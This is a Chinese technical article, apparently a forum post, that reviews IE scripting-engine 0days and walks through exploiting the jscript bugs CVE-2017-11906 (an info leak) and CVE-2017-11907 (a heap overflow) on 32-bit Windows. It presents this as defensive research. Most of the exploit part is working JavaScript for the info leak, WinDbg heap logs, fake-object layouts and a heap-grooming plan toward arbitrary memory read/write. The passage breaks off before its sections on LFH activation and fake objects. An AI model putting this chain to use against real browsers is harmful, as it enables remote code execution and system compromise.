IE脚本引擎0day

在分析本次jscript组合漏洞之前，先跟随笔者回顾一下近几年的IE 0day，这里重点关注脚本引擎(vbscript/jscript/jscript9)相关的0day:

接着跟随笔者一起看一下vbscript漏洞与利用相关的一些时间点：

1. 2014年08月，TK在BlackHat USA上做了题为《Write Once, Pwn Anywhere》的演讲，里面提出了一些IE浏览器利用的崭新思路(里面主要以jscript9为例)；

2. 2014年11月更新修复了yuange珍藏多年的CVE-2014-6332，于是yuange发布了他写的CVE-2014-6332的利用，公布了一种之前没有用过的利用方法(yuange称为DVE)；

3. 2016年05月，CVE-2016-0189这个vbscript 0day被修复，根据后续获得的细节，原始0day里面用到了TK文章里的利用编写方法。2016年06月国外安全公司Theori公开了逆向2016年05月补丁后写出的CVE-2016-0189利用代码，从此这份代码被广泛用于挂马；

4. 2017年02月，CVE-2017-0149这个vbscript 0day被用于实际攻击，微软在2017年03月修补了这个漏洞。在360于2018年底公布这个漏洞的相关细节前，这个漏洞基本上不为人知。根据后续获得的细节，这个漏洞的利用编写方式，除了新增部分Bypass CFG的代码，其手法和CVE-2016-0189的原始利用完全一致；

5. 2018年04月，微软的补丁中修复了一个vbscript模块的远程代码执行漏洞(CVE-2018-1004)，如果读者看过ZDI的《IT’S TIME TO TERMINATE THE TERMINATOR》这篇文章，就知道CVE-2018-1004已经涉及到vbscript的|Class_Terminate|回调。此时如果有一个手握类似0day的卖家，知道|Class_Terminate|回调函数即将引起微软的注意，一定非常急于出手，因为他知道这类0day距离被修补不远了；

6. 2018年04月下旬，CVE-2018-8174这个vbscript 0day被用在实际攻击中，这个漏洞和CVE-2018-1004非常相似，同样涉及到|Class_Terminate|回调。相关利用手法和前两个vbscript完全一致，但这次没有Bypass CFG部分的代码，说明攻击目标可能是Windows 7操作系统；

7. 2018年07月补丁后，CVE-2018-8373这个vbscript 0day被用于实际攻击，微软在2018年08月更新中修复了该漏洞。这个漏洞的利用代码同时借助vbscript和jscript9的语言特性来实现相关功能，并且用覆盖栈返回地址的方式Bypass CFG，说明利用编写着对vbscript和jscript9两个脚本引擎的内部实现非常熟悉；

8. 2019年08月，微软进一步在win7/win8上禁用了IE11中的vbscript

再跟随笔者看一下jscript相关漏洞的一些时间点：

1. 2017年12月，微软修复了多个谷歌报告的jscript漏洞，随后谷歌发布了一篇长文《aPAColypse now: Exploiting Windows 10 in a Local Network with WPAD/PAC and JScript》，详细介绍了Windows 10下利用WPAD协议，借助jscript漏洞进行攻击的方式。作者在文中对此类攻击方式表示担忧，并预测jscript模块中还有其他类似漏洞；

2. 2018年12月，微软修复了一个jscript远程代码执行漏洞CVE-2018-8653，这个漏洞的攻击方式采用的正是一年前谷歌文章中的方法，这次攻击的出现令原作者的担忧一语成谶；

3. 2019年08月，微软进一步在win7/win8上禁用了IE11中的vbscript，此时如果有一个专业的脚本引擎漏洞发现者/写手/卖家，一定会将开发重心进一步切换到jscript；

4. 2019年09月，微软又修复了一个jscript 0day，编号为CVE-2019-1367；从有限的披露信息《Patch Lady – what’s the real risk?》中(文末有参考链接)，我们可以知道这个漏洞是通过网页挂马的方式进行攻击的，发送给受害者的是内嵌url的docx文档，并且后续操作也涉及到了WPAD；

5. 2019年11月，微软再次修复一个jscript 0day，编号为CVE-2019-1429，这个漏洞同时被谷歌的Ivan Fratric独立报告给微软，网上目前已有该漏洞的PoC；

根据上述趋势，只要微软不禁用jscript，接下来还会有jscript的在野0day出现。vbscript和jscript是微软早期开发的两个脚本引擎，所以安全性问题较多。与vbscript漏洞的利用细节已经被广泛公开不同，关于jscript漏洞利用的手法，除了谷歌的上述文章，网上基本没有更多细节，所以jscript漏洞的调试目前仍然很难上手。

站在防御者的角度，我们必须预测攻击趋势，并且在攻击者实施下一步攻击之前进行有效防御。从这个出发点考虑，我们必须对jscript系列漏洞的利用方式有所了解。这一步骤完成后，当后面再出现jscript漏洞时，对漏洞原因/利用方式的分析的时间成本也都会降低。所以，选择一个jscript漏洞进行一番研究是非常有意义的。

基于上述考虑，笔者最近对《aPAColypse now: Exploiting Windows 10 in a Local Network with WPAD/PAC and JScript》这篇文章中涉及到的漏洞进行了详细调试（谷歌慷慨地公开了相关exploit代码，不过只针对win10 64位），根据文章中给出的步骤一步一步在32位环境上复现了RCE。在这个过程中同时参考了安恒信息安全研究院另一篇分析文章(以下称这篇文章为“之前的分析文章”)。

整套利用代码涉及两个漏洞，一个信息泄露漏洞(CVE-2017-11906)和一个堆溢出漏洞(CVE-2017-11907)，这是一个组合漏洞利用链，整个利用链的编写需要注意许多细节，下面先跟随笔者来详细看一下这两个漏洞，然后讨论这个jscript漏洞利用链编写中需要注意的地方。

CVE-2017-11906

这是jscript的一个信息泄露漏洞。利用代码中需要借助该漏洞泄露一块稳定的内存地址，用来存储伪造的Jscript Object Memory结构。我们先来看一下该漏洞的官方PoC：

我这里直接引用之前的分析文章中的话来描述这个漏洞：

“这个信息泄露漏洞存在于RegExp.lastParen中，在调用任一RegExp.test、RegExp.exec或者String.search后，jscript!RegExpFncObj中会用数组保存group信息，这些信息实际上是匹配到的内容的开始位置和结束位置。由于用来保存group信息的数组大小固定为20*4(32位程序中)，也就是一共有10组group信息，所以当匹配到的group数量大于10时，RegExp.lastParen过大的下标会导致取值时发生越界读操作。数组中保存的起始位置和结束位置能够提供更大的可读空间，所以可以通过控制数组中的值来控制越界读的范围。”

在这个漏洞的具体使用中，我们主要关注的是RegExp.lastParen函数末尾的一处memcpy，如下：

memcpy有3个参数：Dst，Src，Size。当PoC中的Array(x)的x大小满足一定条件时，Dst对应调用RegExp.lastParen返回给我们的字符串，Src为被search的字符串(假设为str)首地址，Size完全可控，可以通过设置RegExp.input的值去控制Size，所以只要我们设置的RegExp.input超出str.length，即可实现越界读取。关于32位下Array(X)内x的取值，之前的分析文章中已经指出：

“观察jscript!RegExpFncObj可以发现，如果用31个空括号组成的RegExp去搜索，同时在搜索结束后设置RegExp.input为任意整数，那么RegExp.lastParen的起始值为0而结束值则为RegExp.input设置的整数。”

上述结论在笔者的测试环境中得到了验证。

知道上述关键点后，读者就知道上述漏洞的利用实质是控制memcpy的相关参数，从而越界读取被search的字符串后紧邻的数据。由于非LFH堆的堆块在释放后，头部会存储一些指向下一个堆块的指针。如果我们可以在非LFH堆中连续申请许多等长字符串，然后释放其中的一半(奇数保留，偶数释放)，从而造成大量交替的内存空洞。随后对某个奇数索引对应的字符串进行search，借助这个信息泄露漏洞，就可以越界读取相邻的处于free状态的堆块里存储的另一个被free的堆块指针。读取相应指针后，再立即用设计好的字符串重用之前被释放的字符串。这样泄露出来的指针就指向一块已经被控的内存。

这部分的代码最终如下：

function infoleak() {
    var str = "aaaaaaaaaa";

    while(str.length < 10000)
        str = str + str;

    for(var i=0; i<1000; i++) {
        strarr[i] = str.substr(0,10000);
    }

    for(var i=0; i<500; i++) {
        strarr[i*2] = 1;
    }

    CollectGarbage();

    var x = 0x2738;
    var r = new RegExp(Array(32).join('()'));
    strarr[737].search(r);
    RegExp.input = x;
    var leak = RegExp.lastParen;
    if(leak.length != 0x2738) {
        return 0;
    }

    if((leak.charCodeAt(0x2737) != 0x61) || (leak.charCodeAt(0x2736) != 0x61)) {
        return 0;
    }

    straddress = dwordFromStr(leak, 0x271c) + 4;

    if(!isAddress(straddress)) {
        return 0;
    }

    // 此处编写对straddress地址的重用代码   

    return 1;
}

现在跟随笔者打开一次调试器，利用上面的js代码，我们在上述memcpy处下一个断点，看一下这3个参数在调试器中的情况：

0:018> bp jscript+31607
0:018> g
Breakpoint 0 hit
eax=0623ea74 ebx=00002738 ecx=028a6498 edx=0623ea74 esi=028a94d8 edi=028a9670
eip=69671607 esp=033fb2fc ebp=033fb31c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
jscript!RegExpFncObj::LastParen+0xa3:
69671607 e89661fdff      call    jscript!memcpy (696477a2)

0:007> dps esp l3
033fb2fc  05afd8e4 <- Dst
033fb300  0623ea74 <- Src
033fb304  00004e70 <- Size

// Dst是一片大小为0x4e80的内存
0:007> !heap -p -a 05afd8e4
    address 05afd8e4 found in
    _HEAP @ 1c0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        05afd8d8 09d1 0000  [00]   05afd8e0    04e80 - (busy)

// Dst能存储的有效字符串大小为0x2738
0:007> ? (04e80-0x10)/2
Evaluate expression: 10040 = 00002738

// Src是一片大小为0x4e30的内存
0:007> !heap -p -a 0623ea74
    address 0623ea74 found in
    _HEAP @ 1c0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0623ea68 09c7 0000  [00]   0623ea70    04e30 - (busy)

// Src里面的有效字符串大小为0x2710(0n10000)
0:007> ? (04e30-0x10)/2
Evaluate expression: 10000 = 00002710

// 前4字节存储长度
0:007> dc 0623ea70    
0623ea70  00004e20 00610061 00610061 00610061   N..a.a.a.a.a.a.
0623ea80  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0623ea90  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0623eaa0  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0623eab0  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0623eac0  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0623ead0  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0623eae0  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.

// 每个字符串最后再按0x10进行对齐补0，因此总长度会比预想的多0x10
0:007> dc 0623ea70+4e30-10 
06243890  00610061 00000000 00000000 00000000  a.a.............
062438a0  9ab2c61a 00349350 0624d518 06239c38  ....P.4...$.8.#.
062438b0  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
062438c0  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
062438d0  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
062438e0  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
062438f0  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
06243900  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.

// 再来看一下此时的内存分布
0:007> !heap -flt s 4e30
    _HEAP @ 1c0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        ...
        06239c30 09c7 09c7  [00]   06239c38    04e30 - (free)
        0623ea68 09c7 09c7  [00]   0623ea70    04e30 - (busy) <- 被越界读取的字符串
        062438a0 09c7 09c7  [00]   062438a8    04e30 - (free) <- 此时它右边相邻的字符串处于被释放状态
        062486d8 09c7 09c7  [00]   062486e0    04e30 - (busy)
        ...
    _HEAP @ 10000
    _HEAP @ 4b0000
    _HEAP @ 25e0000
    _HEAP @ 2c00000

// 可以看到这个处于free状态的字符串的内存最前部存储着两个指针
0:007> dc 062438a8(谷歌的文章说win10下这个地方是一个红黑树结构的3个指针，以下为win7下的日志，这里只有2个指针)
062438a8  0624d518 06239c38 00610061 00610061  ..$.8.#.a.a.a.a.
062438b8  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
062438c8  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
062438d8  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
062438e8  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
062438f8  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
06243908  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
06243918  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.

// 看一下第一个指针的相关内存
0:007> !heap -p -a 0624d518
    address 0624d518 found in
    _HEAP @ 1c0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0624d510 09c7 0000  [00]   0624d518    04e30 - (free)

// 正是另一块处于free状态的等大小内存
0:007> dc 624d518
0624d518  06257188 062438a8 00610061 00610061  .q%..8$.a.a.a.a.
0624d528  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0624d538  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0624d548  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0624d558  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0624d568  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0624d578  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0624d588  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.

读者已经知道，0x624d518处这块内存被重用后，从第4字节开始才存储实际字符串内容(因为有长度域和2个0x00字节)，所以需要加4，接下来我们要做的就是用精心伪造的数据重新占用0x624d518这块内存：

0:015> !heap -p -a 0624d518
    address 0624d518 found in
    _HEAP @ 1c0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0624d510 09c7 0000  [00]   0624d518    04e30 - (busy) <- 已经变成busy状态

// 字符串头部已经被Fake Object Memory的数据占据
0:015> dc 624d518
0624d518  00004e20 00610061 00610061 00610061   N..a.a.a.a.a.a.
0624d528  00610061 00000003 00000000 00000539  a.a.........9...
0624d538  00000000 00000000 00000000 00000402  ................
0624d548  00000004 00610061 00610061 00610061  ....a.a.a.a.a.a.
0624d558  00610061 00390039 00000000 0000400c  a.a.9.9......@..
0624d568  00000000 06239c40 00000000 00000000  ....@.#.........
0624d578  00000000 00003c0a 00000006 00610061  .....<......a.a.
0624d588  00610061 00610061 00610061 00330032  a.a.a.a.a.a.2.3.

上述过程图示如下：

到这里，信息泄露部分的利用就大功告成了。我们通过这个信息泄露漏洞得到了straddress这块内存，并且里面的数据稳定可控。

CVE-2017-11907

这是jscript中的一个堆溢出漏洞。导致这个漏洞的根源是toString回调可以打破Array.sort过程中的“原子操作”。这里也直接用之前的分析文章的话来描述这个漏洞：

“在处理如下(1)处的调用时，如果Array.sort输入数组的长度大于Array.length/2，jscript.dll会逐个将数组arr中的元素转化为String。转化的第一步是分配作为存储转化后String变量的内存空间，而分配的大小由当前arr数组中存在的元素的个数决定。转化的第二步是从0到Array.length逐个数组转换元素。转换过程中如果元素存在，那么元素会被转化为String，并写入第一步分配的内存空间中。由于arr[0]的toString回调方法的存在，在转换arr[0]时，(2)标示位置的代码会被执行，(2)代码执行后arr数组中实际存在的元素个数会增加，而第一步分配的内存不会重新分配，于是之后的转换过程中便会导致堆溢出。”

上述过程存在于jscript!JsArrayStringHeapSort和jscript!JsArrayFunctionHeapSort两个函数中。开发者在设计这个转换过程，理所应当地认为这里申请内存和紧随的复制是原子操作，不会被打破，但潜在的toString回调打破了这一原子操作，导致了漏洞的产生。

jscript这种堆溢出的漏洞如何进行利用呢？谷歌的大牛们给出的思路是利用越界写改写某个jscript对象的Hashtable中的相关表项，使之导向之前信息泄露得到的内存中伪造的数据，在此基础上实现任意地址读写。

任意地址读写

要构造出任意地址读写原语，我们必须对相关结构在内存中的分布情况，以及分配对象时的堆内存分配情况非常清楚，这些内存相关的问题包括但不限于如下：

1. VAR的内存结构；
2. Hashtable，Hashtable内存储着一个个Object Memory指针；
3. Object Memory的内存结构(我们需要在泄露出的内存处构造假的Object Memory)；
4. 如何激活指定大小的LFH桶(开启LFH可以让相同内存的分配变得线性可控)；
5. 如何让Hashtable的内容和sort过程中临时分配的内存处于相邻状态；
6. 在5的基础上如何实现精确覆盖；
7. 如何构造假的Object Memory才能使Hashtable的查找工作在shellcode执行前保持正常；
8. 需要构造哪些假的Object Memory才能使我们具备任意地址读写能力；

这些细节在谷歌的文章和之前的分析文章中都已经有过细节描述。不过谷歌的文章和公开的相关代码侧重于win10 x64下借助WPAD进行攻击的细节，相关细节并不能拿来在32位浏览器利用中直接使用。而之前的分析文章已经将上述1、2、3、5、8这几个问题描述清楚。所以笔者下面先简要通过上述文献引用1、2、3、5、6、8的部分细节，随后对4、7这几点进行补充说明。

1 - VAR结构，jscript中代表变量的VAR和vbscript基本一致，32位下大小为0x10，结构如下：

// size of VAR = 0x10
+0x00 type  size=0x02
+0x08 value size=0x04 
+0x0C extra size=0x04

2 - 直接引用之前的分析文章中的一张图来解释之：

3 - 见上图的Object Memory

4 - 后面单独解释

5 - 我们首先要了解jscript!JsArrayStringHeapSort函数中分配内存时给每一个Array元素分配空间的大小及内存结构。32位下，每一个Array中的元素都会在jscript!JsArrayStringHeapSort临时分配的内存中(以下将这块内存称为Sort Buffer)对应一个0x20的结构，具体结构如下:

// size = 0x20              说明
+0x00 pVARAfter  size=0x04  转化后的String VAR的指针
+0x04 index      size=0x04  当前元素在数组中的顺序
+0x08 VARBefore  size=0x10  转化前的VAR结构
+0x18 bValue     size=0x04  根据转化前的VAR的类型，为0或者1
+0x1C pad        size=0x04  用0补齐

再引用之前的分析文章中的一张图进行说明(重点为红色部分)：

如果Sort Buffer和Hashtable可以被分配在相邻的内存，那么通过堆溢出漏洞就可以实现覆写Hashtable，并且覆写的数据可以在自定义的toString回调中进行操控。由于32位下，每个jscript对象在初始化时，其Hashtable的初始大小为0x200，当对象的元素个数超过512个时，Hashtable的大小会被扩大到0x1000。因为Sort Buffer的大小为|0x20 * (used_arr_size + 1)|，所以我们可以定义一个长度足够的数组arr，初始化其中的前127(used_arr_size)个元素，就可以使jscript!JsArrayStringHeapSort中分配的Sort Buffer大小为0x1000。

由于低碎片堆中对特定大小的分配存在更大概率的线性关联，所以，如果我们先开启0x1000的LFH堆，然后先申请一部分jscript对象，将其中一部分对象的的元素个数扩大到513个，这会从LFH中申请一部分0x1000大小的内存。随后触发漏洞，往jscript!JsArrayStringHeapSort传入特定初始化大小的数组arr(并将其第1个元素设置为有自定义toString回调的对象)，在jscript!JsArrayStringHeapSort内部，会继续从LFH中为Sort Buffer申请一块大小为0x1000的内存，随后进入自定义的toString函数。

在toString中，先立即将另一部分jscript对象的元素个数扩大到513个，此次会再从LFH中申请一部分0x1000大小的内存。因为这些内存的申请都位于LFH内的0x1000大小桶中，所以Sort Buffer有很大的概率被0x1000大小的Hashtable“左右夹击”着。在toString的后半部分，对arr数组剩下的元素进行赋值，并将arr最后一个元素设置为也具有自定义toString回调函数的对象，便于后阶段的利用编写。

这样，当代码继续往下执行，已被扩大的arr中的元素被挨个复制到Sort Buffer这块内存时，超过|used_arr_size + 1|那部分的元素就会进行溢出，只要精心控制arr数组的元素，就可以实现精确覆盖相邻的Hashtable上的指针。

6 - 已在5中解释

7 - 后面单独解释

[招生]科锐逆向工程师培训(2025年3月11日实地，远程教学同时开班, 第52期)！